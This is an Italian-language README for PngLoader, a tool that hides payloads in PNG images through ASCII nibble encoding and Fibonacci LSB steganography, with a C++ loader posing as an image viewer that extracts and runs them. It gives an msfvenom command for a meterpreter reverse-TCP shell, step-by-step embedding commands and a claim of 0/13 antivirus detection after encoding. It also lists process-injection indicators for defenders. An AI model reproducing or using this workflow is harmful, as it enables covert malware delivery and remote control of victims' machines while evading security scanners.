
Nasconde payload arbitrari nelle immagini PNG usando la codifica nibble-to-ASCII e la steganografia LSB di Fibonacci, con un loader C++ che estrae ed esegue i dati incorporati.
Disclaimer: Questo progetto è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata — penetration testing, competizioni CTF, esercitazioni red-team e studio accademico. Non utilizzarlo contro sistemi senza esplicita autorizzazione scritta.
PngLoader nasconde dati arbitrari all'interno di immagini PNG utilizzando due livelli:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
Ogni byte viene suddiviso in due nibble da 4 bit. Ogni nibble viene mappato a un carattere ASCII stampabile aggiungendo una base casuale (48, 64 o 96):
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
Decodifica sfrutta la proprietà modulo-16 — tutte e tre le basi sono multipli di 16:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
La selezione casuale della base significa che lo stesso input produce un output diverso ogni volta, ma la decodifica è sempre deterministica.
| Base | Intervallo | Caratteri |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
I byte del payload vengono posizionati agli indici dei pixel seguendo la sequenza di Fibonacci (1, 2, 3, 5, 8, 13, 21, …) sull'array di pixel appiattito. Questo distribuisce le modifiche attraverso l'immagine invece di raggrupparle.
Bit packing — ogni byte viene suddiviso 3/3/2 sui LSB RGB:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
Wrapping — quando gli indici di Fibonacci superano il numero di pixel, eseguono il wrap tramite modulo. Le collisioni vengono risolte tramite linear probing. Un terminatore 0x00 indica la fine dei dati.
| Dimensione immagine | Pixel | Capacità pulita |
|---|---|---|
| 640×480 | 307.200 | ~27 byte |
| 1920×1080 | 2.073.600 | ~31 byte |
| 4000×3000 | 12M | ~35 byte |
Con il wrapping abilitato, la capacità massima = total_pixels − 1.
Il loader C++ (loader_png.cpp) si comporta come un visualizzatore PNG legittimo:
UtilDecryptFileQuoted() (inversione mod-16)La sequenza di Fibonacci è solo un approccio. Altre strategie di selezione dei pixel offrono diversi compromessi tra capacità e sicurezza:
| Algoritmo | Capacità pulita (1080p) | Chiave condivisa | Distribuzione | Costo |
|---|---|---|---|---|
| Fibonacci (implementato) | ~31 byte | No | Intervalli esponenziali | Minimo |
| Prime-Index | ~150K byte | No | Intervalli n·ln(n) | Moderato |
| LFSR | ~2M byte | Sì (seed) | Pseudo-casuale | Minimo |
| Keyed Permutation | ~2M byte | Sì (chiave) | Crittografica | Alto |
| Hilbert Curve | Dipende dallo stride | No | Spazialmente uniforme | Moderato |
| Golden Ratio (Weyl) | ~2M byte | No | Bassa discrepanza | Minimo |
Prime-Index — Gli indici dei pixel sono numeri primi (2, 3, 5, 7, 11…). I numeri primi crescono come n·ln(n), offrendo una capacità pulita molto superiore rispetto a Fibonacci.
LFSR — Un Linear Feedback Shift Register a lunghezza massima produce una permutazione pseudo-casuale. Il seed funge da segreto condiviso. Zero collisioni per l'intero periodo.
Keyed Permutation (Fisher-Yates) — Uno shuffle di tutti gli indici dei pixel inizializzato con un CSPRNG. Le posizioni sono indistinguibili da quelle casuali senza la chiave.
Hilbert Curve — Percorre i pixel lungo una curva space-filling con uno stride. Distribuisce le modifiche in modo uniforme sull'area 2D dell'immagine.
Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. Produce la distribuzione 1D più uniforme possibile. Banale da calcolare.
Payload grezzo — 7/13 scanner lo rilevano:

Dopo la codifica — 0/13 scanner lo rilevano:

Per il blue-team / difensori:
| Livello | Indicatore |
|---|---|
| Statico | Import: VirtualAllocEx, WriteProcessMemory, SetThreadContext |
| Immagine | La steganalisi chi-quadro sui piani LSB rileva le modifiche |
| Comportamentale | Creazione di processi sospesi + iniezione di thread remoti (Sysmon EID 1+8) |
| Codifica | Caratteri esclusivamente da tre intervalli ASCII da 16 caratteri |
Python:
pip install numpy Pillow
Loader C++:
1.Loader/Loader_png.vcxproj → Build Release x64Solo per ricerca sulla sicurezza educativa e autorizzata. Vedere la dichiarazione di non responsabilità sopra.